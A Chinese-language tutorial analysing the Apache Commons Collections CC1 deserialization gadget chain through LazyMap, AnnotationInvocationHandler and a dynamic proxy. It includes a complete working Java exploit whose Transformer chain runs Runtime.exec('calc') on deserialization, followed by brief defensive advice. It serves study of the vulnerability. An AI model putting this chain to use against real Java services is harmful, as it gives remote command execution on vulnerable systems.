Java安全 CC链1分析(Lazymap类)
字数 1406 2025-08-18 11:35:38

Java安全:CC链1分析(LazyMap类)教学文档

前言

本教学文档详细分析Apache Commons Collections(CC)反序列化漏洞链1(CC1)中利用LazyMap类的攻击路径。在学习本文前,建议先了解CC链1的核心机制和基本环境配置。

CC链1核心回顾

CC链1的核心是利用ChainedTransformertransform方法链式调用实现命令执行:

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"calc"})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(1); // 触发命令执行

攻击的关键在于找到能够触发transform方法的调用点。

LazyMap类分析

LazyMap.get()方法

LazyMap类中的get方法是触发transform的关键点:

public Object get(Object key) {
    if (map.containsKey(key) == false) { // 当key不存在时
        Object value = factory.transform(key); // 关键调用点
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

当满足map.containsKey(key) == false时,会调用factory对象的transform方法。

LazyMap构造方法

LazyMap的构造方法是受保护的:

protected LazyMap(Map map, Transformer factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    }
    this.factory = factory;
}

但可以通过静态方法decorate()创建实例:

public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}

测试Demo

验证LazyMap.get()触发transform的Demo:

public class main2 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[]{String.class, Class[].class}, 
                new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke", 
                new Class[]{Object.class, Object[].class}, 
                new Object[]{null, null}),
            new InvokerTransformer("exec", 
                new Class[]{String.class}, 
                new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> hash = new HashMap<>();
        Map decorate = LazyMap.decorate(hash, chainedTransformer);
        decorate.get("key"); // 触发transform
    }
}

AnnotationInvocationHandler类分析

invoke方法

AnnotationInvocationHandler类的invoke方法是关键:

public Object invoke(Object proxy, Method method, Object[] args) {
    String member = method.getName();
    Class<?>[] paramTypes = method.getParameterTypes();
    
    // 绕过两个if判断
    if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class)
        return equalsImpl(args[0]);
    if (paramTypes.length != 0)
        throw new AssertionError("Too many parameters for an annotation method");
    
    switch(member) {
        case "toString": return toStringImpl();
        case "hashCode": return hashCodeImpl();
        case "annotationType": return type;
    }
    
    // 关键调用点
    Object result = memberValues.get(member);
    // ...
}

触发条件:

  1. 方法名不为equals
  2. 无参调用方法

动态代理机制

AnnotationInvocationHandler实现了InvocationHandler接口,可以作为动态代理的处理器:

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    // ...
}

创建代理对象的代码:

Map proxyInstance = (Map) Proxy.newProxyInstance(
    LazyMap.class.getClassLoader(), 
    new Class[]{Map.class}, 
    instance);

readObject方法

AnnotationInvocationHandlerreadObject方法中会遍历memberValues

private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
    // ...
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        // 会调用memberValues的get方法
        String name = memberValue.getKey();
        // ...
    }
    // ...
}

完整攻击链构造

攻击思路

  1. 创建ChainedTransformer
  2. 使用LazyMap.decorate()创建LazyMap实例
  3. 通过反射创建AnnotationInvocationHandler实例作为代理处理器
  4. 创建代理对象,其处理器为上一步创建的实例
  5. 再次通过反射创建AnnotationInvocationHandler实例,设置memberValues为代理对象
  6. 序列化/反序列化触发漏洞

完整EXP

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.*;
import java.util.*;

public class cc11 {
    public static void main(String[] args) throws Exception {
        // 1. 构造Transformer链
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[]{String.class, Class[].class}, 
                new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke", 
                new Class[]{Object.class, Object[].class}, 
                new Object[]{null, null}),
            new InvokerTransformer("exec", 
                new Class[]{String.class}, 
                new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        
        // 2. 创建LazyMap
        HashMap<Object,Object> hash = new HashMap<>();
        Map decorate = LazyMap.decorate(hash, chainedTransformer);
        
        // 3. 反射获取AnnotationInvocationHandler构造方法
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        
        // 4. 创建代理处理器
        InvocationHandler instance = (InvocationHandler) constructor.newInstance(Override.class, decorate);
        
        // 5. 创建代理对象
        Map proxyInstance = (Map) Proxy.newProxyInstance(
            LazyMap.class.getClassLoader(), 
            new Class[]{Map.class}, 
            instance);
        
        // 6. 创建最终触发对象
        Object o = constructor.newInstance(Override.class, proxyInstance);
        
        // 序列化和反序列化触发
        serialize(o);
        unserialize("1.bin");
    }
    
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
        out.writeObject(obj);
    }
    
    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
        out.readObject();
    }
}

攻击链执行流程

  1. 反序列化AnnotationInvocationHandler对象
  2. 调用readObject方法
  3. 遍历memberValues(代理对象)
  4. 触发代理对象的get方法
  5. 调用AnnotationInvocationHandler.invoke方法
  6. 调用LazyMap.get方法
  7. 调用ChainedTransformer.transform方法
  8. 执行命令链

关键点总结

  1. LazyMap.get():触发transform的关键调用点
  2. 动态代理:通过代理机制自动调用invoke方法
  3. AnnotationInvocationHandler
    • invoke方法触发get
    • readObject方法作为反序列化入口
  4. 反射:绕过私有构造方法的限制
  5. 序列化/反序列化:最终触发点

防御建议

  1. 升级Apache Commons Collections到安全版本
  2. 使用SerialKiller等工具过滤危险的序列化对象
  3. 在反序列化时进行严格的白名单控制
Java安全:CC链1分析(LazyMap类)教学文档 前言 本教学文档详细分析Apache Commons Collections(CC)反序列化漏洞链1(CC1)中利用LazyMap类的攻击路径。在学习本文前,建议先了解CC链1的核心机制和基本环境配置。 CC链1核心回顾 CC链1的核心是利用 ChainedTransformer 的 transform 方法链式调用实现命令执行: 攻击的关键在于找到能够触发 transform 方法的调用点。 LazyMap类分析 LazyMap.get()方法 LazyMap 类中的 get 方法是触发 transform 的关键点: 当满足 map.containsKey(key) == false 时,会调用 factory 对象的 transform 方法。 LazyMap构造方法 LazyMap 的构造方法是受保护的: 但可以通过静态方法 decorate() 创建实例: 测试Demo 验证 LazyMap.get() 触发 transform 的Demo: AnnotationInvocationHandler类分析 invoke方法 AnnotationInvocationHandler 类的 invoke 方法是关键: 触发条件: 方法名不为 equals 无参调用方法 动态代理机制 AnnotationInvocationHandler 实现了 InvocationHandler 接口,可以作为动态代理的处理器: 创建代理对象的代码: readObject方法 AnnotationInvocationHandler 的 readObject 方法中会遍历 memberValues : 完整攻击链构造 攻击思路 创建 ChainedTransformer 链 使用 LazyMap.decorate() 创建 LazyMap 实例 通过反射创建 AnnotationInvocationHandler 实例作为代理处理器 创建代理对象,其处理器为上一步创建的实例 再次通过反射创建 AnnotationInvocationHandler 实例,设置 memberValues 为代理对象 序列化/反序列化触发漏洞 完整EXP 攻击链执行流程 反序列化 AnnotationInvocationHandler 对象 调用 readObject 方法 遍历 memberValues (代理对象) 触发代理对象的 get 方法 调用 AnnotationInvocationHandler.invoke 方法 调用 LazyMap.get 方法 调用 ChainedTransformer.transform 方法 执行命令链 关键点总结 LazyMap.get() :触发 transform 的关键调用点 动态代理 :通过代理机制自动调用 invoke 方法 AnnotationInvocationHandler : invoke 方法触发 get readObject 方法作为反序列化入口 反射 :绕过私有构造方法的限制 序列化/反序列化 :最终触发点 防御建议 升级Apache Commons Collections到安全版本 使用 SerialKiller 等工具过滤危险的序列化对象 在反序列化时进行严格的白名单控制